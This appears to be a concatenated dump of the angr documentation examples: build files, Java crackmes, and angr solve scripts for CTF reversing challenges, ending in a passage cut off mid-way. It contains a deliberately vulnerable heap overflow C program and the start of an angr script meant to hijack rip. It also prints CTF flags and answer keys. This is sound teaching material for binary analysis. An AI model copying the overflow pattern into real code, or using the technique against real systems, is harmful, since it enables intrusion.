https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #008577 4 | #00574B 5 | #D81B60 6 | 7 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | My Application 3 | 4 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/test/java/com/angr/nativetest1/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.angr.nativetest1; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /examples/java_androidnative1/app/build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | 3 | buildscript { 4 | repositories { 5 | google() 6 | jcenter() 7 | 8 | } 9 | dependencies { 10 | classpath 'com.android.tools.build:gradle:3.3.0' 11 | 12 | // NOTE: Do not place your application dependencies here; they belong 13 | // in the individual module build.gradle files 14 | } 15 | } 16 | 17 | allprojects { 18 | repositories { 19 | google() 20 | jcenter() 21 | 22 | } 23 | } 24 | 25 | task clean(type: Delete) { 26 | delete rootProject.buildDir 27 | } 28 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | # IDE (e.g. Android Studio) users: 3 | # Gradle settings configured through the IDE *will override* 4 | # any settings specified in this file. 5 | # For more details on how to configure your build environment visit 6 | # http://www.gradle.org/docs/current/userguide/build_environment.html 7 | # Specifies the JVM arguments used for the daemon process. 8 | # The setting is particularly useful for tweaking memory settings. 9 | org.gradle.jvmargs=-Xmx1536m 10 | # When configured, Gradle will run in incubating parallel mode. 11 | # This option should only be used with decoupled projects. More details, visit 12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 13 | # org.gradle.parallel=true 14 | 15 | 16 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /examples/java_androidnative1/app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Thu Apr 11 09:27:09 CDT 2019 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.1-all.zip 7 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | set DIRNAME=%~dp0 12 | if "%DIRNAME%" == "" set DIRNAME=. 13 | set APP_BASE_NAME=%~n0 14 | set APP_HOME=%DIRNAME% 15 | 16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 17 | set DEFAULT_JVM_OPTS= 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windows variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | 53 | :win9xME_args 54 | @rem Slurp the command line arguments. 55 | set CMD_LINE_ARGS= 56 | set _SKIP=2 57 | 58 | :win9xME_args_slurp 59 | if "x%~1" == "x" goto execute 60 | 61 | set CMD_LINE_ARGS=%* 62 | 63 | :execute 64 | @rem Setup the command line 65 | 66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 67 | 68 | @rem Execute Gradle 69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 70 | 71 | :end 72 | @rem End local scope for the variables with windows NT shell 73 | if "%ERRORLEVEL%"=="0" goto mainEnd 74 | 75 | :fail 76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 77 | rem the _cmd.exe /c_ return code! 78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 79 | exit /b 1 80 | 81 | :mainEnd 82 | if "%OS%"=="Windows_NT" endlocal 83 | 84 | :omega 85 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /examples/java_androidnative1/compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm androidnative1.apk 4 | ( 5 | cd app 6 | ./gradlew clean 7 | ./gradlew app:assembleDebug 8 | cp app/build/outputs/apk/debug/app-debug.apk ../androidnative1.apk 9 | ) 10 | -------------------------------------------------------------------------------- /examples/java_androidnative1/solve.py: -------------------------------------------------------------------------------- 1 | 2 | import os 3 | import angr 4 | from angr.procedures.java import JavaSimProcedure 5 | from angr.engines.soot.values import SimSootValue_ThisRef 6 | from archinfo.arch_soot import SootArgument, SootMethodDescriptor 7 | from claripy.backends.backend_smtlib_solvers import z3str_popen # pylint:disable=unused-import 8 | 9 | 10 | file_dir = os.path.dirname(os.path.realpath(__file__)) 11 | 12 | 13 | result = None 14 | 15 | class Dummy_String_valueOf(JavaSimProcedure): 16 | __provides__ = ( 17 | ("java.lang.String", "valueOf(int)"), 18 | ) 19 | 20 | def run(self, intv): # pylint: disable=W0221 21 | global result 22 | result = intv 23 | return "" 24 | 25 | 26 | def test_androidnative1(): 27 | sdk_path = os.path.join(os.path.expanduser("~"), "Android/Sdk/platforms/") 28 | if not os.path.exists(sdk_path): 29 | print("cannot run test_apk_loading since there is no Android SDK folder") 30 | return 31 | 32 | apk_location = os.path.join(file_dir, "androidnative1.apk") 33 | loading_opts = {'android_sdk': sdk_path, 34 | 'entry_point': 'com.angr.nativetest1.MainActivity.onCreate', 35 | 'entry_point_params': ('android.os.Bundle', ), 36 | 'supported_jni_archs': ['x86']} 37 | project = angr.Project(apk_location, main_opts=loading_opts, auto_load_libs=True) 38 | project.hook(SootMethodDescriptor(class_name="java.lang.String", name="valueOf", params=('int',)).address(), Dummy_String_valueOf()) 39 | 40 | blank_state = project.factory.blank_state() 41 | a1 = SimSootValue_ThisRef.new_object(blank_state, 'com.angr.androidnative1.MainActivity') 42 | a2 = SimSootValue_ThisRef.new_object(blank_state, 'android.os.Bundle', symbolic = True) 43 | args = [SootArgument(arg, arg.type) for arg in [a1, a2]] 44 | entry = project.factory.entry_state(args = args) 45 | simgr = project.factory.simgr(entry) 46 | 47 | simgr.run() 48 | 49 | int_result = simgr.deadended[0].solver.eval(result) 50 | assert int_result == 221 51 | 52 | 53 | def test(): 54 | test_androidnative1() 55 | 56 | 57 | if __name__ == "__main__": 58 | import logging 59 | logging.getLogger("angr.engines.soot.engine").setLevel("DEBUG") 60 | test() 61 | -------------------------------------------------------------------------------- /examples/java_crackme1/.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | -------------------------------------------------------------------------------- /examples/java_crackme1/compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm crackme1.jar 4 | ( 5 | cd crackme1_src 6 | javac -classpath . crackme1/*.java 7 | jar cfm ../crackme1.jar META-INF/MANIFEST.MF crackme1/*.class 8 | ) 9 | 10 | # java -jar crackme1.jar 11 | -------------------------------------------------------------------------------- /examples/java_crackme1/crackme1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_crackme1/crackme1.jar -------------------------------------------------------------------------------- /examples/java_crackme1/crackme1_src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: crackme1.Class1 3 | -------------------------------------------------------------------------------- /examples/java_crackme1/crackme1_src/crackme1/Class1.java: -------------------------------------------------------------------------------- 1 | package crackme1; 2 | 3 | import java.io.IOException; 4 | 5 | public class Class1 { 6 | 7 | public static void win(){ 8 | System.out.write('W'); 9 | System.out.flush(); 10 | } 11 | 12 | public static void fail(){ 13 | System.out.write('L'); 14 | System.out.flush(); 15 | System.exit(-1); 16 | } 17 | 18 | 19 | public static void main(String[] args) { 20 | int c1=0; 21 | int c2=0; 22 | int c3=0; 23 | int c4=0; 24 | int c5=0; 25 | int c6=0; 26 | int c7=0; 27 | int c8=0; 28 | int c9=0; 29 | int c10=0; 30 | int v1,v2,v3,v4,v5; 31 | 32 | try { 33 | // JaV$!sB4D! 34 | c1 = System.in.read(); 35 | c2 = System.in.read(); 36 | c3 = System.in.read(); 37 | c4 = System.in.read(); 38 | c5 = System.in.read(); 39 | c6 = System.in.read(); 40 | c7 = System.in.read(); 41 | c8 = System.in.read(); 42 | c9 = System.in.read(); 43 | c10 = System.in.read(); 44 | } catch (IOException e) { 45 | e.printStackTrace(); 46 | } 47 | 48 | if(c1!='J'){ 49 | fail(); 50 | } 51 | 52 | v1 = (c2<<8)+c3; 53 | if(v1!=0x6156){ 54 | fail(); 55 | } 56 | 57 | v2 = c4*3214+c5*3; 58 | if(v2!=115803){ 59 | fail(); 60 | } 61 | 62 | if(c6>>1!=57){ 63 | fail(); 64 | } 65 | if(c6%2==0){ 66 | fail(); 67 | } 68 | 69 | v3 = (c7<<8)+c8; 70 | v4 = v3*v3 - 16938*v3 - 169480; 71 | if(v4!=0){ 72 | fail(); 73 | } 74 | if(v3<0){ 75 | fail(); 76 | } 77 | 78 | if(c9>70){ 79 | fail(); 80 | } 81 | if(c9<65){ 82 | fail(); 83 | } 84 | if((c9-61)%5!=2){ 85 | fail(); 86 | } 87 | 88 | v5 = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10; 89 | if(v5!=660){ 90 | fail(); 91 | } 92 | win(); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /examples/java_crackme1/solve.py: -------------------------------------------------------------------------------- 1 | 2 | import os 3 | import angr 4 | import logging 5 | import subprocess 6 | 7 | from claripy.backends.backend_smtlib_solvers import z3str_popen # pylint:disable=unused-import 8 | 9 | self_dir = os.path.dirname(os.path.realpath(__file__)) 10 | 11 | def test_java_crackme1(): 12 | binary_path = os.path.join(self_dir, "crackme1.jar") 13 | project = angr.Project(binary_path, auto_load_libs=False) 14 | entry = project.factory.entry_state() 15 | simgr = project.factory.simgr(entry) 16 | simgr.explore() 17 | 18 | terminated_states = simgr.deadended 19 | assert len(terminated_states) > 1 20 | 21 | # the winning state has "W" on stdout and "JaV$!sB4D!" on stdin 22 | winnning_states = [s for s in terminated_states if s.posix.stdout.concretize() == [b"W"]] 23 | assert len(winnning_states) == 1 24 | winning_state = winnning_states[0] 25 | flag = b"".join(winning_state.posix.stdin.concretize()) 26 | assert flag == b"JaV$!sB4D!" 27 | 28 | # verify against the real code 29 | p = subprocess.Popen(["java", "-jar", binary_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 30 | res, _ = p.communicate(flag) 31 | assert res == b"W" 32 | 33 | 34 | def test(): 35 | test_java_crackme1() 36 | 37 | 38 | if __name__ == "__main__": 39 | logging.getLogger("angr.engines.soot.engine").setLevel("DEBUG") 40 | logging.getLogger("angr.factory").setLevel("DEBUG") 41 | test() 42 | -------------------------------------------------------------------------------- /examples/java_simple3/.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | -------------------------------------------------------------------------------- /examples/java_simple3/compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # cp -a ../../../../eclipse_workspace/simple3/src/** simple3_src 4 | 5 | rm simple3.jar 6 | ( 7 | cd simple3_src 8 | javac -classpath . simple3/*.java 9 | jar cfm ../simple3.jar META-INF/MANIFEST.MF simple3/*.class 10 | ) 11 | 12 | # java -jar simple3.jar 13 | -------------------------------------------------------------------------------- /examples/java_simple3/simple3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_simple3/simple3.jar -------------------------------------------------------------------------------- /examples/java_simple3/simple3_src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: simple3.Class1 3 | -------------------------------------------------------------------------------- /examples/java_simple3/simple3_src/simple3/Class1.java: -------------------------------------------------------------------------------- 1 | package simple3; 2 | 3 | import java.io.IOException; 4 | 5 | public class Class1 { 6 | 7 | public static void main(String[] args) { 8 | int c; 9 | 10 | try { 11 | /* 12 | c is just one byte or -1 13 | stdin is converted using utf-8 14 | For example, inserting this character: 15 | http://www.unicode.org/cgi-bin/GetUnihanData.pl?codepoint=2020C 16 | returns 4 integers: 240, 160, 136, 140 17 | and "normal" ascii characters return 1 integer 18 | */ 19 | c = System.in.read(); 20 | c++; 21 | /* 22 | write expects an int in the 0-255 range 23 | if higer % 256 is applied to the input 24 | */ 25 | System.out.write(c); 26 | System.out.flush(); 27 | boolean b = System.out.checkError(); 28 | } catch (IOException e) { 29 | e.printStackTrace(); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /examples/java_simple3/solve.py: -------------------------------------------------------------------------------- 1 | 2 | import os 3 | import angr 4 | import logging 5 | 6 | from claripy.backends.backend_smtlib_solvers import z3str_popen # pylint:disable=unused-import 7 | 8 | self_dir = os.path.dirname(os.path.realpath(__file__)) 9 | 10 | 11 | def test_java_simple3(): 12 | binary_path = os.path.join(self_dir, "simple3.jar") 13 | project = angr.Project(binary_path, load_options={"auto_load_libs": False}) 14 | entry = project.factory.entry_state() 15 | simgr = project.factory.simgr(entry) 16 | simgr.explore() 17 | 18 | state = simgr.deadended[0] 19 | # simple3.jar return the character after the inserted one 20 | # we constrain stdout to "c" and we expected stdin to be "b" 21 | state.add_constraints(state.posix.stdout.content[0][0] == state.solver.BVV(ord(b"c"), 8)) 22 | assert state.posix.stdin.concretize() == [b"b"] 23 | 24 | 25 | def test(): 26 | test_java_simple3() 27 | 28 | 29 | if __name__ == "__main__": 30 | logging.getLogger("angr.engines.soot.engine").setLevel("DEBUG") 31 | logging.getLogger("angr.factory").setLevel("DEBUG") 32 | test() 33 | -------------------------------------------------------------------------------- /examples/java_simple4/.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | -------------------------------------------------------------------------------- /examples/java_simple4/compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm simple4.jar 4 | ( 5 | cd simple4_src 6 | javac -classpath . simple4/*.java 7 | jar cfm ../simple4.jar META-INF/MANIFEST.MF simple4/*.class 8 | ) 9 | 10 | # java -jar simple4.jar 11 | -------------------------------------------------------------------------------- /examples/java_simple4/simple4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_simple4/simple4.jar -------------------------------------------------------------------------------- /examples/java_simple4/simple4_src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: simple4.Class1 3 | -------------------------------------------------------------------------------- /examples/java_simple4/simple4_src/simple4/Class1.java: -------------------------------------------------------------------------------- 1 | package simple4; 2 | 3 | import java.io.IOException; 4 | 5 | public class Class1 { 6 | 7 | public static void main(String[] args) { 8 | int c; 9 | 10 | try { 11 | c = System.in.read(); 12 | if(c=='F'){ 13 | System.out.write('W'); 14 | }else{ 15 | System.out.write('L'); 16 | } 17 | System.out.flush(); 18 | } catch (IOException e) { 19 | e.printStackTrace(); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /examples/java_simple4/solve.py: -------------------------------------------------------------------------------- 1 | 2 | import os 3 | import angr 4 | import logging 5 | 6 | from claripy.backends.backend_smtlib_solvers import z3str_popen # pylint:disable=unused-import 7 | 8 | self_dir = os.path.dirname(os.path.realpath(__file__)) 9 | 10 | 11 | def test_java_simple4(): 12 | binary_path = os.path.join(self_dir, "simple4.jar") 13 | project = angr.Project(binary_path, auto_load_libs=False) 14 | entry = project.factory.entry_state() 15 | simgr = project.factory.simgr(entry) 16 | simgr.explore() 17 | 18 | states = simgr.deadended 19 | assert len(states) == 2 20 | 21 | # the winning state has "W" on stdout and "F" on stdin 22 | winnning_states = [s for s in states if s.posix.stdout.concretize() == [b"W"]] 23 | assert len(winnning_states) == 1 24 | winning_state = winnning_states[0] 25 | flag = b"".join(winning_state.posix.stdin.concretize()) 26 | assert flag == b"F" 27 | 28 | 29 | def test(): 30 | test_java_simple4() 31 | 32 | 33 | if __name__ == "__main__": 34 | logging.getLogger("angr.engines.soot.engine").setLevel("DEBUG") 35 | logging.getLogger("angr.factory").setLevel("DEBUG") 36 | test() 37 | -------------------------------------------------------------------------------- /examples/mma_howtouse/howtouse.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/mma_howtouse/howtouse.dll -------------------------------------------------------------------------------- /examples/mma_howtouse/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # 4 | # This binary, from the MMA CTF, was a simple reversing challenge. THe biggest 5 | # challenge was actually *running* this library in Windows. Luckily, with angr, 6 | # we can avoid having to do this! 7 | # 8 | # The approach here is to use angr as a concrete execution engine to call the 9 | # `howtouse` function 45 times, as the array of function pointers in that 10 | # function has 45 entries. The result turned out to be the flag. 11 | # 12 | 13 | import angr 14 | import claripy 15 | 16 | def main(): 17 | # Load the binary. Base addresses are weird when loading binaries directly, so 18 | # we specify it explicitly. 19 | p = angr.Project('howtouse.dll', load_options={'main_opts': {'base_addr': 0x10000000}}, auto_load_libs=False) 20 | 21 | # A "Callable" is angr's FFI-equivalent. It allows you to call binary functions 22 | # from Python. Here, we use it to call the `howtouse` function. 23 | howtouse = p.factory.callable(0x10001130) 24 | 25 | # In this binary, the result is a concrete char, so we don't need a symbolic 26 | # state or a solver to get its value. 27 | getch = lambda i: chr(claripy.backends.concrete.convert(howtouse(i)).value) 28 | 29 | # Let's call this 45 times, and that's the result! 30 | return ''.join(getch(i) for i in range(45)) 31 | 32 | def test(): 33 | assert main() == 'MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}' 34 | 35 | if __name__ == '__main__': 36 | print(main()) 37 | -------------------------------------------------------------------------------- /examples/mma_simplehash/simple_hash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/mma_simplehash/simple_hash -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/.gitignore: -------------------------------------------------------------------------------- 1 | gadgets.elf 2 | -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/flag: -------------------------------------------------------------------------------- 1 | SECCON{HAHAHHAHAHAAHA} 2 | -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/gadget_generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | import base64 3 | 4 | all_gadgets = iter(open("gadgets")) 5 | 6 | def generate_gadgets(): 7 | return base64.b64decode(next(all_gadgets)) 8 | #return base64.b64decode(open("gadgetlines").readlines()[0]) 9 | -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/launcher.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secconquals2016_ropsynth/launcher.elf -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/nop.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secconquals2016_ropsynth/nop.elf -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/ropsynth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import os 4 | import binascii 5 | from gadget_generator import generate_gadgets 6 | from subprocess import Popen, PIPE 7 | import signal 8 | 9 | def fill(buf, ch, size): 10 | return buf + ch * (size - len(buf)) 11 | 12 | def print_msg(msg): 13 | sys.stdout.write("%s\n" % msg) 14 | sys.stdout.flush() 15 | 16 | def timeout(): 17 | print_msg("Timeout") 18 | sys.exit(-1) 19 | 20 | def main(argv): 21 | basedir = os.path.dirname(os.path.abspath(argv[0])) 22 | os.chdir(basedir) 23 | rootdir = "." 24 | flag = open("flag").read() 25 | # read secret in rootdir 26 | secret_word = open("%s/secret" % rootdir).read() 27 | 28 | stage = 1 29 | while stage <= 5: 30 | print_msg("stage %d/5" % stage) 31 | 32 | # generate gadgets 33 | gadgets = generate_gadgets() 34 | encoded_gadgets = binascii.b2a_base64(gadgets).strip() 35 | 36 | # send gadgets, and then receive ropchain 37 | signal.alarm(60) 38 | print_msg(encoded_gadgets) 39 | encoded_ropchain = sys.stdin.readline() 40 | signal.alarm(0) 41 | ropchain = binascii.a2b_base64(encoded_ropchain) 42 | if len(ropchain) > 4096: 43 | print_msg("Invalid ROP chain") 44 | break 45 | 46 | child = Popen( 47 | [ 48 | "./launcher.elf", 49 | #rootdir, 50 | ], 51 | stdin=PIPE, stdout=PIPE, close_fds=True) 52 | child.stdin.write(fill(gadgets, '\xCC', 4096)) 53 | child.stdin.write(fill(ropchain, '\xFF', 4096)) 54 | answer_word = child.stdout.read() 55 | child.wait() 56 | print("EXPECTED: {}".format(repr(secret_word)), file=sys.stderr) 57 | print("GOT.....: {}".format(repr(answer_word)), file=sys.stderr) 58 | if secret_word != answer_word: 59 | print_msg("NG") 60 | break 61 | print_msg("OK") 62 | stage += 1 63 | 64 | if stage >= 6: 65 | print_msg(flag) 66 | 67 | if __name__ == '__main__': 68 | main(sys.argv) 69 | -------------------------------------------------------------------------------- /examples/secconquals2016_ropsynth/secret: -------------------------------------------------------------------------------- 1 | asdfadsfdsagfiudsahfdsafdsafsadf 2 | -------------------------------------------------------------------------------- /examples/secuinside2016mbrainfuzz/sample_1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secuinside2016mbrainfuzz/sample_1 -------------------------------------------------------------------------------- /examples/secuinside2016mbrainfuzz/sample_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secuinside2016mbrainfuzz/sample_2 -------------------------------------------------------------------------------- /examples/secuinside2016mbrainfuzz/sample_3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secuinside2016mbrainfuzz/sample_3 -------------------------------------------------------------------------------- /examples/secuinside2016mbrainfuzz/sample_4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/secuinside2016mbrainfuzz/sample_4 -------------------------------------------------------------------------------- /examples/securityfest_fairlight/fairlight: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/securityfest_fairlight/fairlight -------------------------------------------------------------------------------- /examples/securityfest_fairlight/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | Author: chuckleberryfinn 5 | Security Fest 2016 6 | Challenge: fairlight (250) 7 | 8 | Runtime: ~1 minute 9 | 10 | Simple solution, requires 0 knowledge of the check functions. 11 | """ 12 | 13 | import angr 14 | import claripy 15 | 16 | def main(): 17 | proj = angr.Project('./fairlight', load_options={"auto_load_libs": False}) 18 | argv1 = claripy.BVS("argv1", 0xE * 8) 19 | initial_state = proj.factory.entry_state(args=["./fairlight", argv1]) 20 | 21 | sm = proj.factory.simulation_manager(initial_state) 22 | sm.explore(find=0x4018f7, avoid=0x4018f9) 23 | found = sm.found[0] 24 | return found.solver.eval(argv1, cast_to=bytes) 25 | 26 | 27 | def test(): 28 | res = main() 29 | print(repr(res)) 30 | assert res == b'4ngrman4gem3nt' 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /examples/sharif7_rev50/getit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/sharif7_rev50/getit -------------------------------------------------------------------------------- /examples/simple_heap_overflow/.gitignore: -------------------------------------------------------------------------------- 1 | exploit 2 | -------------------------------------------------------------------------------- /examples/simple_heap_overflow/simple_heap_overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/simple_heap_overflow/simple_heap_overflow -------------------------------------------------------------------------------- /examples/simple_heap_overflow/simple_heap_overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef void (*printFunction)(); 5 | 6 | // Contrived structure 7 | typedef struct myStruct { 8 | printFunction print; 9 | char buf[16]; 10 | } myStruct; 11 | 12 | // We want to get here 13 | void win() { 14 | printf("Win function executed."); 15 | } 16 | 17 | int main() { 18 | // Unbuffering to make things clearer 19 | setbuf(stdin,0); 20 | setbuf(stdout,0); 21 | 22 | // Setup our two structs 23 | myStruct *a = calloc(1,sizeof(myStruct)); 24 | myStruct *b = calloc(1,sizeof(myStruct)); 25 | 26 | // Read in input 27 | printf("Input b: "); 28 | fgets(b->buf,64,stdin); 29 | b->print = printf; 30 | 31 | printf("Input a: "); 32 | fgets(a->buf,64,stdin); 33 | a->print = printf; 34 | 35 | // Print the results 36 | b->print("Output b: %s",b->buf); 37 | a->print("Output a: %s",a->buf); 38 | } 39 | -------------------------------------------------------------------------------- /examples/simple_heap_overflow/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os, os.path 4 | import subprocess 5 | 6 | DIR = os.path.dirname(os.path.realpath(__file__)) 7 | 8 | def main(): 9 | # angr now has the ability to correctly execute through malloc. this is a big 10 | # achievement as malloc is a complicated function and shows off how much effort 11 | # has been placed into creating correct execution. In this example, we will use 12 | # angr to perform a basic heap overwrite and achieve control over rip. 13 | 14 | # The premise of this binary is to ask for two inputs, the second of which can 15 | # overflow into the area of the first. Further, a pointer will be dereferenced 16 | # in this process, thus giving us a target to control execution from. 17 | 18 | # Please note that this example is very dependent on the LIBC version, make 19 | # sure that you have 'libc.so.6' and 'ld-linux-x86_64.so.2' in the same 20 | # directory as this script. 21 | import angr 22 | 23 | # By default, angr will use a sim procedure instead of going through malloc 24 | # This will tell angr to go ahead and use libc's calloc 25 | # auto_load_libs can't be disabled as the test case fails. 26 | proj = angr.Project("./simple_heap_overflow", exclude_sim_procedures_list=["calloc"], 27 | ld_path=os.path.join(DIR, '../../../binaries/tests/x86_64')) 28 | 29 | # The extra option here is due to a feature not yet in angr for handling 30 | # underconstraining 0 initialization of certain memory allocations 31 | state = proj.factory.entry_state(add_options={angr.options.CGC_ZERO_FILL_UNCONSTRAINED_MEMORY, 32 | angr.options.CONSTRAINT_TRACKING_IN_SOLVER }) 33 | 34 | # We're looking for unconstrained paths, it means we may have control 35 | sm = proj.factory.simulation_manager(state,save_unconstrained=True) 36 | 37 | # Step execution until we find a place we may control 38 | while sm.active and not sm.unconstrained: 39 | sm.step() 40 | 41 | print(sm) 42 | # In [9]: sm 43 | # Out[9]: 44 | 45 | # Make a copy of the state to 